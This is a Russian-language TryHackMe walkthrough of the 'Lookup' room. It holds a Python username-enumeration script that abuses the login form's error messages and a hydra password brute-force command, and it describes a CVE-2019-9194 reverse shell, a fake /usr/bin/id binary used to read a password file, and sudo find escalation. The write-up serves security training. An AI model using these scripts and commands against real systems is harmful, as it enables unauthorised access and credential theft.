Lookup
Исполнитель:
Тестирование выполнено Кравцовым Николаем, начинающим специалистом по информационной безопасности в 13:51 *(Очень простая комната, подходят для начинающих, но уже довольно хорошо знающих веб специалистов)*. В этот раз я решил убрать порядок использованные службы и найденные уязвимости.
Использованные файлы:
- user.txt - флаг.
- root.txt - флаг.
- py.py - поиск нужных имен пользователя, абузим ошибку разраба :)
- id - фейковая команда для получения файла с паролями.
- passwd - тот самый файл с паролями, который мы скопировали.
Порядок действий:
1) Запуск openvpn для доступа; kex для того, чтобы сделать linux удобнее
kex --win && sudo openvpn Kolya080808.ovpn2) Сканирование портов с помощью nmap.
Результаты:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
3) Запуск Gobuster для поиска директорий.
- Результаты:
Ничего не дало.
4) Т. к. ничего интересного gobuster не нашел, я пошел смотреть на сам сайт:
Результат:

5) Я попробовал разные имена пользователи и пароли, но тщетно. Зато я обнаружил, что при вводе имени пользователя "admin" он выводит не "Неправильный логин или пароль", а "Неправильный пароль". Поэтому я начал энумерацию пользователей с помощью вот такого скрипта:
Находка:

- Скрипт:
import requests url = "http://lookup.thm/login.php" wordlist = "/usr/share/seclists/Usernames/Names/names.txt" try: with open(wordlist, "r") as f: for line in f: username = line.strip() if not username: continue data = { "username": username, "password": "asdasdasd" } response = requests.post(url, data=data) if "Wrong password" in response.text: print(f'username found: {username}') elif "Wrong username" in response.text: continue except requests.RequestException as e: print(f'An error occured: {e}') Результат:

6) К сожалению пользователя jose мне пришлось подсмотреть в волскру, потому что была слишком долгая энумерация. Теперь мы можем подобрать пароль для пользователя jose с помощью гидры:
Команда:
hydra -l jose -P ../rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong" -VРезультат:

7) Заходим в панель управления, добавляя в файл /etc/hosts новый сабдомен, и смотрим, что можно сделать:
Результат:

8) Загуглив, я нашел CVE-2019-9194 и использовал его в метасплоите для получения reverse shell:
Результат:

9) Далее я решил посмотреть, какие файлы мы можем использовать для повышения привилегий, и один бинарь меня заинтересовал:
Результат:

10) Понимая, что делает этот файл, я подменил файл /usr/bin/id на свой и получил доступ к списку паролей пользователя think:
Результат:

11) Делая простой перебор паролей я зашел по ssh и прочитал user.txt:
Результат:

12) Далее для повышения привилегий я просмотрел с помощью
sudo -lчто может сделать пользователь think от root, и нашел команду find:Результат:

13) Ну и с помощью GTFObins прочел root.txt:
Результат:

Примечание
Примечание:
Комната простая, но вынюхивать что можно сделать надо долго. Мне понравилась, но я мог сделать и быстрее, если бы сразу понял, что с моим скриптом будет очень долго искать jose))
Спасибо TryHackMe за комнату!
Видео выполнения
- Оригинал:
- YouTube